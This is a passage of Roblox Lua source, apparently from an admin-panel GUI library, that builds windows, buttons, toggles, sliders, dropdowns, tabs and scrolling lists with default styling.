func\n\t\tend\n\tend\n\t\n\tfunction create(class, dataFound, existing)\n\t\tlocal data = dataFound or {}\n\t\tlocal class = data.Class or data.ClassName or class\n\t\tlocal new = existing or (specialInsts[class] and specialInsts[class]:Clone()) or service.New(class)\n\t\tlocal parent = data.Parent or new.Parent\n\t\t\n\t\tif dataFound then\n\t\t\tdata.Parent = nil\n\t\t\t\n\t\t\tif data.Class or data.ClassName then\n\t\t\t\tdata.Class = nil\n\t\t\t\tdata.ClassName = nil\n\t\t\tend\n\t\t\t\n\t\t\tif not data.BorderColor3 and checkProperty(new,\"BorderColor3\") then\n\t\t\t\tnew.BorderColor3 = dBorder\n\t\t\tend\n\t\t\t\n\t\t\tif not data.CanvasSize and checkProperty(new,\"CanvasSize\") then\n\t\t\t\tnew.CanvasSize = dCanvasSize\n\t\t\tend\n\t\t\t\n\t\t\tif not data.BorderSizePixel and checkProperty(new,\"BorderSizePixel\") then\n\t\t\t\tnew.BorderSizePixel = dPixelSize\n\t\t\tend\n\t\t\t\n\t\t\tif not data.BackgroundColor3 and checkProperty(new,\"BackgroundColor3\") then\n\t\t\t\tnew.BackgroundColor3 = dBackground\n\t\t\tend\n\t\t\t\n\t\t\tif not data.PlaceholderColor3 and checkProperty(new,\"PlaceholderColor3\") then\n\t\t\t\tnew.PlaceholderColor3 = dPlaceholderColor\n\t\t\tend\n\t\t\t\n\t\t\tif not data.Transparency and not data.BackgroundTransparency and checkProperty(new,\"Transparency\") then\n\t\t\t\tnew.BackgroundTransparency = dTransparency\n\t\t\telseif data.Transparency then\n\t\t\t\tnew.BackgroundTransparency = data.Transparency\n\t\t\tend\n\t\t\t\n\t\t\tif not data.TextColor3 and not data.TextColor and checkProperty(new,\"TextColor3\") then\n\t\t\t\tnew.TextColor3 = dTextColor\n\t\t\telseif data.TextColor then\n\t\t\t\tnew.TextColor3 = data.TextColor\n\t\t\tend\n\t\t\t\n\t\t\tif not data.Font and checkProperty(new, \"Font\") then\n\t\t\t\tdata.Font = dFont\n\t\t\tend\n\t\t\t\n\t\t\tif not data.TextSize and checkProperty(new, \"TextSize\") then\n\t\t\t\tdata.TextSize = dTextSize\n\t\t\tend\n\t\t\t\n\t\t\tif not data.BottomImage and not data.MidImage and not data.TopImage and class == \"ScrollingFrame\" then\n\t\t\t\tnew.BottomImage = dScrollImage \n\t\t\t\tnew.MidImage = dScrollImage\n\t\t\t\tnew.TopImage = dScrollImage\n\t\t\tend\n\t\t\t\n\t\t\tif not data.Size and checkProperty(new,\"Size\") then\n\t\t\t\tnew.Size = dSize\n\t\t\tend\n\t\t\t\n\t\t\tif not data.Position and checkProperty(new,\"Position\") then\n\t\t\t\tnew.Position = dPosition\n\t\t\tend\n\t\t\t\n\t\t\tif not data.ZIndex and checkProperty(new,\"ZIndex\") then\n\t\t\t\tnew.ZIndex = dZIndex\n\t\t\t\tif parent and checkProperty(parent, \"ZIndex\") then\n\t\t\t\t\tnew.ZIndex = parent.ZIndex\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\tif data.TextChanged and class == \"TextBox\" then\n\t\t\t\tlocal textChanged = functionify(data.TextChanged, new)\n\t\t\t\tnew.FocusLost:connect(function(enterPressed)\n\t\t\t\t\ttextChanged(new.Text, enterPressed, new)\n\t\t\t\tend)\n\t\t\tend\n\t\t\t\n\t\t\tif (data.OnClicked or data.OnClick) and class == \"TextButton\" then\n\t\t\t\tlocal debounce = false;\n\t\t\t\tlocal doDebounce = data.Debounce;\n\t\t\t\tlocal onClick = functionify((data.OnClicked or data.OnClick), new)\n\t\t\t\tnew.MouseButton1Down:connect(function()\n\t\t\t\t\tif not debounce then \n\t\t\t\t\t\tif doDebounce then\n\t\t\t\t\t\t\tdebounce = true\n\t\t\t\t\t\tend\n\t\t\t\t\t\t\n\t\t\t\t\t\tonClick(new);\n\t\t\t\t\t\t\n\t\t\t\t\t\tdebounce = false;\n\t\t\t\t\tend\n\t\t\t\tend)\n\t\t\tend\n\t\t\t\n\t\t\tif data.Events then\n\t\t\t\tfor event,func in pairs(data.Events) do\n\t\t\t\t\tlocal realFunc = functionify(func, new)\n\t\t\t\t\tEvent(new[event], function(...)\n\t\t\t\t\t\trealFunc(...)\n\t\t\t\t\tend)\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\tif data.Visible == nil then\n\t\t\t\tdata.Visible = true\n\t\t\tend\n\t\t\t\n\t\t\tif data.LabelProps then\n\t\t\t\tdata.LabelProperties = data.LabelProps\n\t\t\tend\n\t\tend\n\t\t\n\t\tif class == \"Entry\" then\n\t\t\tlocal label = new.Text\n\t\t\tlocal dots = new.Dots\n\t\t\tlocal desc = new.Desc\n\t\t\t\n\t\t\tlabel.ZIndex = data.ZIndex or new.ZIndex\n\t\t\tdots.ZIndex = data.ZIndex or new.ZIndex\n\t\t\t\n\t\t\tif data.Text then\n\t\t\t\tnew.Text.Text = data.Text\n\t\t\t\tnew.Text.Visible = true\n\t\t\t\tdata.Text = nil\n\t\t\tend\n\t\t\t\n\t\t\tif data.Desc or data.ToolTip then\n\t\t\t\tnew.Desc.Value = data.Desc or data.ToolTip\n\t\t\t\tdata.Desc = nil\n\t\t\tend\n\t\t\t\n\t\t\tExpand(new, Tooltip)\n\t\telse\n\t\t\tif data.ToolTip then\n\t\t\t\tExpand(new, Tooltip, data.ToolTip)\n\t\t\tend\n\t\tend\n\t\t\n\t\tif class == \"ButtonEntry\" then\n\t\t\tlocal button = new.Button\n\t\t\tlocal debounce = false\n\t\t\tlocal onClicked = functionify(data.OnClicked, button)\n\t\t\t\n\t\t\tnew:SetSpecial(\"DoClick\",function()\n\t\t\t\tif not debounce then\n\t\t\t\t\tdebounce = true\n\t\t\t\t\tif onClicked then\n\t\t\t\t\t\tonClicked(button)\n\t\t\t\t\tend\n\t\t\t\t\tdebounce = false\n\t\t\t\tend\n\t\t\tend)\n\t\t\t\n\t\t\tnew.Text = data.Text or new.Text\n\t\t\tbutton.ZIndex = data.ZIndex or new.ZIndex\n\t\t\tbutton.MouseButton1Down:connect(new.DoClick)\n\t\tend\n\t\t\n\t\tif class == \"Boolean\" then\n\t\t\tlocal enabled = data.Enabled\n\t\t\tlocal debounce = false\n\t\t\tlocal onToggle = functionify(data.OnToggle, new)\n\t\t\tlocal function toggle(isEnabled)\n\t\t\t\tif not debounce then\n\t\t\t\t\tdebounce = true\n\t\t\t\t\tif (isEnabled ~= nil and isEnabled) or (isEnabled == nil and enabled) then\n\t\t\t\t\t\tenabled = false\n\t\t\t\t\t\tnew.Text = \"Disabled\"\n\t\t\t\t\telseif (isEnabled ~= nil and isEnabled == false) or (isEnabled == nil and not enabled) then\n\t\t\t\t\t\tenabled = true\n\t\t\t\t\t\tnew.Text = \"Enabled\"\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tif onToggle then\n\t\t\t\t\t\tonToggle(enabled, new)\n\t\t\t\t\tend\n\t\t\t\t\tdebounce = false\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\t--new.ZIndex = data.ZIndex\n\t\t\tnew.Text = (enabled and \"Enabled\") or \"Disabled\"\n\t\t\tnew.MouseButton1Down:connect(function()\n\t\t\t\tif onToggle then\n\t\t\t\t\ttoggle()\n\t\t\t\tend\n\t\t\tend)\n\t\t\t\n\t\t\tnew:SetSpecial(\"Toggle\",function(ignore, isEnabled) toggle(isEnabled) end)\n\t\tend\n\t\t\n\t\tif class == \"StringEntry\" then\n\t\t\tlocal box = new.Box\n\t\t\tlocal ignore\n\t\t\t\n\t\t\tnew.Text = data.Text or new.Text\n\t\t\tbox.ZIndex = data.ZIndex or new.ZIndex\n\t\t\t\n\t\t\tif data.BoxText then\n\t\t\t\tbox.Text = data.BoxText\n\t\t\tend\n\t\t\t\n\t\t\tif data.BoxProperties then\n\t\t\t\tfor i,v in next,data.BoxProperties do\n\t\t\t\t\tif checkProperty(box, i) then\n\t\t\t\t\t\tbox[i] = v\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\tif data.TextChanged then\n\t\t\t\tlocal textChanged = functionify(data.TextChanged, box)\n\t\t\t\tbox.Changed:connect(function(p)\n\t\t\t\t\tif p == \"Text\" and not ignore then\n\t\t\t\t\t\ttextChanged(box.Text)\n\t\t\t\t\tend\n\t\t\t\tend)\n\t\t\t\t\n\t\t\t\tbox.FocusLost:connect(function(enter)\n\t\t\t\t\tlocal change = textChanged(box.Text, true, enter)\n\t\t\t\t\tif change then\n\t\t\t\t\t\tignore = true\n\t\t\t\t\t\tbox.Text = change\n\t\t\t\t\t\tignore = false\n\t\t\t\t\tend\n\t\t\t\tend)\n\t\t\tend\n\t\t\t\n\t\t\tnew:SetSpecial(\"SetValue\",function(ignore, newValue) box.Text = newValue end)\n\t\tend\n\t\t\n\t\tif class == \"Slider\" then\n\t\t\tlocal mouseIsIn = false\n\t\t\tlocal posValue = new.Percentage\n\t\t\tlocal slider = new.Slider\n\t\t\tlocal bar = new.SliderBar\n\t\t\tlocal drag = new.Drag\n\t\t\tlocal moving = false\n\t\t\tlocal value = 0\n\t\t\tlocal onSlide = functionify(data.OnSlide, new)\n\t\t\t\n\t\t\tbar.ZIndex = data.ZIndex or new.ZIndex\n\t\t\tslider.ZIndex = bar.ZIndex+1\n\t\t\tdrag.ZIndex = slider.ZIndex+1\n\t\t\tdrag.Active = true\n\t\t\t\n\t\t\tif data.Value then\n\t\t\t\tslider.Position = UDim2.new(0.5, -10, 0.5, -10)\n\t\t\t\tdrag.Position = slider.Position\n\t\t\tend\n\t\t\t\n\t\t\tbar.InputBegan:connect(function(input)\n\t\t\t\tif not moving and input.UserInputType == Enum.UserInputType.MouseButton1 then\n\t\t\t\t\tvalue = ((Mouse.X)-(new.AbsolutePosition.X))/(new.AbsoluteSize.X)\n\t\t\t\t\t\n\t\t\t\t\tif value < 0 then\n\t\t\t\t\t\tvalue = 0\n\t\t\t\t\telseif value > 1 then\n\t\t\t\t\t\tvalue = 1\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tslider.Position = UDim2.new(value, -10, 0.5, -10)\n\t\t\t\t\tdrag.Position = slider.Position\n\t\t\t\t\tposValue.Value = value\n\t\t\t\t\t\n\t\t\t\t\tif onSlide then\n\t\t\t\t\t\tonSlide(value)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend)\n\t\t\t\n\t\t\tdrag.DragBegin:connect(function()\n\t\t\t\tmoving = true\n\t\t\tend)\n\t\t\t\n\t\t\tdrag.DragStopped:connect(function()\n\t\t\t\tmoving = false\n\t\t\t\tdrag.Position = slider.Position\n\t\t\tend)\n\t\t\t\n\t\t\tdrag.Changed:connect(function()\n\t\t\t\tif moving then\n\t\t\t\t\tvalue = ((Mouse.X)-(new.AbsolutePosition.X))/(new.AbsoluteSize.X)\n\t\t\t\t\t\n\t\t\t\t\tif value < 0 then\n\t\t\t\t\t\tvalue = 0\n\t\t\t\t\telseif value > 1 then\n\t\t\t\t\t\tvalue = 1\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tslider.Position = UDim2.new(value, -10, 0.5, -10)\n\t\t\t\t\tposValue.Value = value\n\t\t\t\t\t\n\t\t\t\t\tif onSlide then\n\t\t\t\t\t\tonSlide(value)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend)\n\t\t\t\n\t\t\tnew:SetSpecial(\"SetValue\",function(ignore, newValue) \n\t\t\t\tif newValue and tonumber(newValue) then \n\t\t\t\t\tvalue = tonumber(newValue)\n\t\t\t\t\tposValue.Value = value\n\t\t\t\t\tslider.Position = UDim2.new(value, -10, 0.5, -10)\n\t\t\t\t\tdrag.Position = slider.Position\n\t\t\t\tend\n\t\t\tend)\n\t\tend\n\t\t\n\t\tif class == \"Dropdown\" then\n\t\t\tlocal menu = new.Menu\n\t\t\tlocal downImg = new.Down\n\t\t\tlocal selected = new.dSelected\n\t\t\tlocal options = data.Options\n\t\t\tlocal curSelected = data.Selected or data.Selection\n\t\t\tlocal onSelect = functionify(data.OnSelection or data.OnSelect or function()end)\n\t\t\tlocal textProps = data.TextProperties\n\t\t\tlocal scroller = create(\"ScrollingFrame\", {\n\t\t\t\tParent = menu;\n\t\t\t\tSize = UDim2.new(1, 0, 1, 0);\n\t\t\t\tPosition = UDim2.new(0, 0, 0, 0);\n\t\t\t\tBackgroundTransparency = 1;\n\t\t\t\tZIndex = 100;\n\t\t\t})\n\t\t\t\n\t\t\tmenu.ZIndex = scroller.ZIndex\n\t\t\tmenu.Parent = GUI\n\t\t\tmenu.Visible = false\n\t\t\tmenu.Size = UDim2.new(0, new.AbsoluteSize.X, 0, 100);\n\t\t\tmenu.BackgroundColor3 = data.BackgroundColor3 or new.BackgroundColor3\n\t\t\t\n\t\t\tif data.TextAlignment then\n\t\t\t\tselected.TextXAlignment = data.TextAlignment\n\t\t\t\tselected.Position = UDim2.new(0, 30, 0, 0);\n\t\t\tend\n\t\t\t\n\t\t\tif data.NoArrow then\n\t\t\t\tdownImg.Visible = false\n\t\t\tend\n\t\t\t\n\t\t\tnew:SetSpecial(\"MenuContainer\", menu)\n\t\t\t\n\t\t\tnew.Changed:Connect(function(p)\n\t\t\t\tif p == \"AbsolutePosition\" and menu.Visible then\n\t\t\t\t\tmenu.Position = UDim2.new(0, new.AbsolutePosition.X, 0, new.AbsolutePosition.Y+new.AbsoluteSize.Y)\n\t\t\t\telseif p == \"AbsoluteSize\" or p == \"Parent\" then\n\t\t\t\t\tdownImg.Size = UDim2.new(0, new.AbsoluteSize.Y, 1, 0);\n\t\t\t\t\tif data.TextAlignment == \"Right\" then\n\t\t\t\t\t\tdownImg.Position = UDim2.new(0, 0, 0.5, -(downImg.AbsoluteSize.X/2))\n\t\t\t\t\t\tselected.Position = UDim2.new(0, new.AbsoluteSize.Y, 0, 0);\n\t\t\t\t\telse\n\t\t\t\t\t\tdownImg.Position = UDim2.new(1, -downImg.AbsoluteSize.X, 0.5, -(downImg.AbsoluteSize.X/2))\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tselected.Size = UDim2.new(1, -downImg.AbsoluteSize.X, 1, 0);\n\t\t\t\t\t\n\t\t\t\t\tif options and #options <= 6 then\n\t\t\t\t\t\tmenu.Size = UDim2.new(0, new.AbsoluteSize.X, 0, 30*#options);\n\t\t\t\t\telse\n\t\t\t\t\t\tmenu.Size = UDim2.new(0, new.AbsoluteSize.X, 0, 30*6);\n\t\t\t\t\t\tscroller:ResizeCanvas(false, true);\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend)\n\t\t\t\n\t\t\tselected.ZIndex = new.ZIndex\n\t\t\tdownImg.ZIndex = new.ZIndex\n\t\t\t\n\t\t\tif textProps then\n\t\t\t\tfor i,v in next,textProps do\n\t\t\t\t\tselected[i] = v\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\tif options then\n\t\t\t\tfor i,v in next,options do\n\t\t\t\t\tlocal button = scroller:Add(\"TextButton\", {\n\t\t\t\t\t\tText = \" \".. tostring(v);\n\t\t\t\t\t\tSize = UDim2.new(1, -10, 0, 30);\n\t\t\t\t\t\tPosition = UDim2.new(0, 5, 0, 30*(i-1));\n\t\t\t\t\t\tZIndex = menu.ZIndex;\n\t\t\t\t\t\tBackgroundTransparency = 1;\n\t\t\t\t\t\tOnClick = function()\n\t\t\t\t\t\t\tselected.Text = v;\n\t\t\t\t\t\t\tonSelect(v, new);\n\t\t\t\t\t\t\tmenu.Visible = false\n\t\t\t\t\t\tend\n\t\t\t\t\t})\n\t\t\t\t\t\n\t\t\t\t\tif textProps then\n\t\t\t\t\t\tfor i,v in next,textProps do\n\t\t\t\t\t\t\tbutton[i] = v\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tif curSelected then\n\t\t\t\t\tselected.Text = curSelected\n\t\t\t\telse\n\t\t\t\t\tselected.Text = \"No Selection\"\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tselected.MouseButton1Down:Connect(function()\n\t\t\t\t\tmenu.Position = UDim2.new(0, new.AbsolutePosition.X, 0, new.AbsolutePosition.Y+new.AbsoluteSize.Y)\n\t\t\t\t\tmenu.Visible = not menu.Visible\n\t\t\t\tend)\n\t\t\tend\n\t\tend\n\t\t\n\t\tif class == \"TabFrame\" then\n\t\t\tlocal buttons = create(\"ScrollingFrame\", nil, new.Buttons)\n\t\t\tlocal frames = new.Frames\n\t\t\tlocal numTabs = 0\n\t\t\tlocal buttonSize = data.ButtonSize or 60\n\t\t\t\n\t\t\tnew.BackgroundTransparency = data.BackgroundTransparency or 1\n\t\t\tbuttons.ZIndex = data.ZIndex or new.ZIndex\n\t\t\tframes.ZIndex = buttons.ZIndex\n\t\t\t\n\t\t\tnew:SetSpecial(\"GetTab\", function(ignore, name)\n\t\t\t\treturn frames:FindFirstChild(name)\n\t\t\tend)\n\t\t\t\n\t\t\tnew:SetSpecial(\"NewTab\", function(ignore, name, data)\n\t\t\t\tlocal data = data or {}\n\t\t\t\t--local numChildren = #frames:GetChildren()\n\t\t\t\tlocal nextPos = getNextPos(buttons);\n\t\t\t\tlocal textSize = service.TextService:GetTextSize(data.Text or name, dTextSize, dFont, buttons.AbsoluteSize)\n\t\t\t\tlocal oTextTrans = data.TextTransparency\n\t\t\t\tlocal isOpen = false\n\t\t\t\tlocal disabled = false\n\t\t\t\tlocal tabFrame = create(\"ScrollingFrame\",{\n\t\t\t\t\tName = name;\n\t\t\t\t\tSize = UDim2.new(1, 0, 1, 0);\n\t\t\t\t\tPosition = UDim2.new(0, 0, 0, 0);\n\t\t\t\t\tBorderSizePixel = 0;\n\t\t\t\t\tBackgroundTransparency = data.FrameTransparency or data.Transparency;\n\t\t\t\t\tBackgroundColor3 = data.Color or dBackground:lerp(Color3.new(1,1,1), 0.2);\n\t\t\t\t\tZIndex = buttons.ZIndex;\n\t\t\t\t\tVisible = false;\n\t\t\t\t})\n\t\t\t\t\n\t\t\t\tlocal tabButton = create(\"TextButton\",{\n\t\t\t\t\tName = name;\n\t\t\t\t\tText = data.Text or name;\n\t\t\t\t\tSize = UDim2.new(0, textSize.X+20, 1, 0);\n\t\t\t\t\tZIndex = buttons.ZIndex;\n\t\t\t\t\tPosition = UDim2.new(0, (nextPos.X.Offset > 0 and nextPos.X.Offset+5) or 0, 0, 0);\n\t\t\t\t\tTextColor3 = data.TextColor;\n\t\t\t\t\tBackgroundTransparency = 0.7;\n\t\t\t\t\tTextTransparency = data.TextTransparency;\n\t\t\t\t\tBackgroundColor3 = data.Color or dBackground:lerp(Color3.new(1,1,1), 0.2);\n\t\t\t\t\tBorderSizePixel = 0;\n\t\t\t\t})\n\t\t\t\t\n\t\t\t\ttabFrame:SetSpecial(\"FocusTab\",function()\n\t\t\t\t\tfor i,v in next,buttons:GetChildren() do if isGui(v) then v.BackgroundTransparency = 0.7 v.TextTransparency = 0.7 end end\n\t\t\t\t\tfor i,v in next,frames:GetChildren() do if isGui(v) then v.Visible = false end end\n\t\t\t\t\ttabButton.BackgroundTransparency = data.Transparency or 0\n\t\t\t\t\ttabButton.TextTransparency = data.TextTransparency or 0\n\t\t\t\t\ttabFrame.Visible = true\n\t\t\t\t\tif data.OnFocus then\n\t\t\t\t\t\tdata.OnFocus(true)\n\t\t\t\t\tend\n\t\t\t\tend)\n\t\t\t\t\n\t\t\t\tif numTabs == 0 then\n\t\t\t\t\ttabFrame.Visible = true\n\t\t\t\t\ttabButton.BackgroundTransparency = data.Transparency or 0\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\ttabButton.MouseButton1Down:connect(function()\n\t\t\t\t\tif not disabled then\n\t\t\t\t\t\ttabFrame:FocusTab()\n\t\t\t\t\tend\n\t\t\t\tend)\n\t\t\t\t\n\t\t\t\ttabButton.Parent = buttons\n\t\t\t\ttabFrame.Parent = frames\n\t\t\t\tbuttons:ResizeCanvas(true, false)\n\t\t\t\t\n\t\t\t\ttabFrame:SetSpecial(\"Disable\", function()\n\t\t\t\t\tdisabled = true;\n\t\t\t\t\ttabButton.BackgroundTransparency = 0.9;\n\t\t\t\t\ttabButton.TextTransparency = 0.9\n\t\t\t\tend)\n\t\t\t\t\n\t\t\t\ttabFrame:SetSpecial(\"Enable\", function()\n\t\t\t\t\tdisabled = false;\n\t\t\t\t\ttabButton.BackgroundTransparency = 0.7;\n\t\t\t\t\ttabButton.TextTransparency = data.TextTransparency or 0;\n\t\t\t\tend)\n\t\t\t\t\n\t\t\t\tnumTabs = numTabs+1;\n\t\t\t\t\n\t\t\t\treturn tabFrame,tabButton\n\t\t\tend)\n\t\tend\n\t\t\n\t\tif class == \"ScrollingFrame\" then\n\t\t\tlocal genning = false\n\t\t\tif not data.ScrollBarThickness then\n\t\t\t\tdata.ScrollBarThickness = dScrollBar\n\t\t\tend\n\t\t\t\n\t\t\tnew:SetSpecial(\"GenerateList\", function(obj, list, labelProperties, bottom)\n\t\t\t\tlocal list = list or obj;\n\t\t\t\tlocal genHold = {}\n\t\t\t\tlocal entProps = labelProperties or {}\n\t\t\t\t\n\t\t\t\tgenning = genHold\n\t\t\t\tnew:ClearAllChildren()\n\t\t\t\t\n\t\t\t\tlocal num = 0\n\t\t\t\tfor i,v in next,list do\n\t\t\t\t\tlocal text = v;\n\t\t\t\t\tlocal desc;\n\t\t\t\t\tlocal color\n\t\t\t\t\t\n\t\t\t\t\tif type(v) == \"table\" then\n\t\t\t\t\t\ttext = v.Text\n\t\t\t\t\t\tdesc = v.Desc\n\t\t\t\t\t\tcolor = v.Color\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tlocal label = create(\"TextLabel\",{\n\t\t\t\t\t\tText = \" \"..tostring(text);\n\t\t\t\t\t\tToolTip = desc;\n\t\t\t\t\t\tSize = UDim2.new(1,-5,0,(entProps.ySize or 20));\n\t\t\t\t\t\tVisible = true;\n\t\t\t\t\t\tBackgroundTransparency = 1;\n\t\t\t\t\t\tFont = \"Arial\";\n\t\t\t\t\t\tTextSize = 14;\n\t\t\t\t\t\tTextStrokeTransparency = 0.8;\n\t\t\t\t\t\tTextXAlignment = \"Left\";\n\t\t\t\t\t\tPosition = UDim2.new(0,0,0,num*(entProps.ySize or 20));\n\t\t\t\t\t})\n\t\t\t\t\t\n\t\t\t\t\tif color then\n\t\t\t\t\t\tlabel.TextColor3 = color\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tif labelProperties then\n\t\t\t\t\t\tfor i,v in next,entProps do\n\t\t\t\t\t\t\tif checkProperty(label, i) then\n\t\t\t\t\t\t\t\tlabel[i] = v\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tif genning == genHold then\n\t\t\t\t\t\tlabel.Parent = new;\n\t\t\t\t\telse\n\t\t\t\t\t\tlabel:Destroy()\n\t\t\t\t\t\tbreak\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tnum = num+1\n\t\t\t\t\t\n\t\t\t\t\tif data.Delay then \n\t\t\t\t\t\tif type(data.Delay) == \"number\" then\n\t\t\t\t\t\t\twait(data.Delay) \n\t\t\t\t\t\telseif i%100 == 0 then \n\t\t\t\t\t\t\twait(0.1) \n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tnew:ResizeCanvas(false, true, false, bottom, 5, 5, 50)\n\t\t\t\tgenning = nil\n\t\t\tend)\n\t\t\t\n\t\t\tnew:SetSpecial(\"ResizeCanvas\", function(ignore, onX, onY, xMax, yMax, xPadding, yPadding, modBreak)\n\t\t\t\tlocal xPadding,yPadding = data.xPadding or 5, data.yPadding or 5\n\t\t\t\tlocal newY, newX = 0,0\n\t\t\t\t\n\t\t\t\tif not onX and not onY then onX = false onY = true end\n\t\t\t\tfor i,v in next,new:GetChildren() do\n\t\t\t\t\tif v:IsA(\"GuiObject\") then\n\t\t\t\t\t\tif onY then\n\t\t\t\t\t\t\tv.Size = UDim2.new(v.Size.X.Scale, v.Size.X.Offset, 0, v.AbsoluteSize.Y)\n\t\t\t\t\t\t\tv.Position = UDim2.new(v.Position.X.Scale, v.Position.X.Offset, 0, v.AbsolutePosition.Y-new.AbsolutePosition.Y)\n\t\t\t\t\t\tend\n\t\t\t\t\t\t\n\t\t\t\t\t\tif onX then\n\t\t\t\t\t\t\tv.Size = UDim2.new(0, v.AbsoluteSize.X, v.Size.Y.Scale, v.Size.Y.Offset)\n\t\t\t\t\t\t\tv.Position = UDim2.new(0, v.AbsolutePosition.X-new.AbsolutePosition.X, v.Position.Y.Scale, v.Position.Y.Offset)\n\t\t\t\t\t\tend\n\t\t\t\t\t\t\n\t\t\t\t\t\tlocal yLower = v.Position.Y.Offset + v.Size.Y.Offset\n\t\t\t\t\t\tlocal xLower = v.Position.X.Offset + v.Size.X.Offset\n\t\t\t\t\t\tnewY = math.max(newY, yLower)\n\t\t\t\t\t\tnewX = math.max(newX, xLower)\n\t\t\t\t\t\tif modBreak then\n\t\t\t\t\t\t\tif i%modBreak == 0 then \n\t\t\t\t\t\t\t\twait(1/60)\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tif onY then\n\t\t\t\t\tnew.CanvasSize = UDim2.new(new.CanvasSize.X.Scale, new.CanvasSize.X.Offset, 0, newY+yPadding)\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tif onX then\n\t\t\t\t\tnew.CanvasSize = UDim2.new(0, newX + xPadding, new.CanvasSize.Y.Scale, new.CanvasSize.Y.Offset)\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tif xMax then\n\t\t\t\t\tnew.CanvasPosition = Vector2.new((newX + xPadding)-new.AbsoluteSize.X, new.CanvasPosition.Y)\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tif yMax then\n\t\t\t\t\tnew.CanvasPosition = Vector2.new(new.CanvasPosition.X, (newY+yPadding)-new.AbsoluteSize.Y)\n\t\t\t\tend\n\t\t\tend)\n\t\t\t\n\t\t\tif data.List then new:GenerateList(data.List) data.List = nil end\n\t\tend\n\t\t\n\t\tLoadChildren(new, data.Content or data.Children)\n\t\t\n\t\tdata.Children = nil\n\t\tdata.Content = nil\n\t\t\n\t\tfor i,v in next,data do\n\t\t\tif checkProperty(new, i) then\n\t\t\t\tnew[i] = v\n\t\t\tend\n\t\tend\n\t\t\n\t\tnew.Parent = parent\n\t\t\n\t\treturn apiIfy(new, data, class),data\n\tend\n\t\n\tfunction apiIfy(gui, data, class)\n\t\tlocal newGui = service.Wrap(gui)\n\t\tgui:SetSpecial(\"Object\", gui)\n\t\tgui:SetSpecial(\"SetPosition\", function(ignore, newPos) gui.Position = newPos end)\n\t\tgui:SetSpecial(\"SetSize\", function(ingore, newSize) gui.Size = newSize end)\n\t\tgui:SetSpecial(\"Add\", function(ignore, class, data)\n\t\t\tif not data then data = class class = ignore end\n\t\t\tlocal new = create(class,data);\n\t\t\tnew.Parent = gui;\n\t\t\treturn apiIfy(new, data, class)\n\t\tend)\n\t\t\n\t\tgui:SetSpecial(\"Copy\", function(ignore, class, gotData)\n\t\t\tlocal newData = {}\n\t\t\tlocal new\n\t\t\t\n\t\t\tfor i,v in next,data do\n\t\t\t\tnewData[i] = v\n\t\t\tend\n\t\t\t\n\t\t\tfor i,v in next,gotData do\n\t\t\t\tnewData[i] = v\n\t\t\tend\n\t\t\t\n\t\t\tnew = create(class or data.Class or gui.ClassName, newData);\n\t\t\tnew.Parent = gotData.Parent or gui.Parent;\n\t\t\treturn apiIfy(new, data, class)\n\t\tend)\n\t\t\n\t\treturn newGui\n\tend\n\t\n\tfunction doClose()\n\t\tif not isClosed then\n\t\t\tisClosed = true\n\t\t\tgTable:Destroy()\n\t\tend\n\tend\n\t\n\tfunction isVisible()\n\t\treturn Main.Visible\n\tend\n\t\n\tfunction doHide(doHide)\n\t\tlocal origLH = Hide.LineHeight\n\t\tif doHide or (doHide == nil and Main.Visible) then\n\t\t\tdragSize = Drag.Size\n\t\t\tMain.Visible = false\n\t\t\tDrag.BackgroundTransparency = Main.BackgroundTransparency\n\t\t\tDrag.BackgroundColor3 = Main.BackgroundColor3\n\t\t\tDrag.Size = UDim2.new(0, 200, Drag.Size.Y.Scale, Drag.Size.Y.Offset)\n\t\t\tHide.Text = \"+\"\n\t\t\tHide.LineHeight = origLH\n\t\t\tgTable.Minimized = true\n\t\telseif doHide == false or (doHide == nil and not Main.Visible) then\n\t\t\tMain.Visible = true\n\t\t\tDrag.BackgroundTransparency = 1\n\t\t\tDrag.Size = dragSize or Drag.Size\n\t\t\tHide.Text = \"-\"\n\t\t\tHide.LineHeight = origLH\n\t\t\tgTable.Minimized = false\n\t\tend\n\t\t\n\t\tif onMinimize then\n\t\t\tonMinimize(Main.Visible)\n\t\tend\n\t\t\n\t\tif Walls then\n\t\t\twallPosition()\n\t\tend\n\tend\n\t\n\tfunction isInFrame(x, y, frame)\n\t\tif x > frame.AbsolutePosition.X and x < (frame.AbsolutePosition.X+frame.AbsoluteSize.X) and y > frame.AbsolutePosition.Y and y < (frame.AbsolutePosition.Y+frame.AbsoluteSize.Y) then\n\t\t\treturn true\n\t\telse\n\t\t\treturn false\n\t\tend\n\tend\n\t\n\tfunction wallPosition()\n\t\tif gTable.Active then\n\t\t\tlocal x,y = Drag.AbsolutePosition.X, Drag.AbsolutePosition.Y\n\t\t\tlocal abx, gx, gy = Drag.AbsoluteSize.X, GUI.AbsoluteSize.X, GUI.AbsoluteSize.Y\n\t\t\tlocal ySize = (Main.Visible and Main.AbsoluteSize.Y) or 